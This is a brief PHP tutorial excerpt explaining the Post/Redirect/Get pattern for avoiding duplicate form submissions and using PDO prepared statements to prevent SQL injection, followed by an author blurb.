PRG is a design pattern that prevents duplicate form submissions. After a successful POST (e.g., order placed), the server sends a redirect (HTTP 302) to a GET URL (e.g., a success page). The browser then loads that page via GET. If the user refreshes, only the GET request is repeated — the POST is not replayed. In PHP, use header('Location: success.php'); exit; after processing the form data.
Never concatenate user input directly into SQL queries. Use prepared statements with PDO or MySQLi. Example with PDO: $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $input]); This separates SQL logic from data and prevents injection regardless of the input content.
20+ years shipping production PHP systems at scale. Written from production experience, not tutorials.
That's PHP Basics. Mark it forged?
8 min read · try the examples if you haven't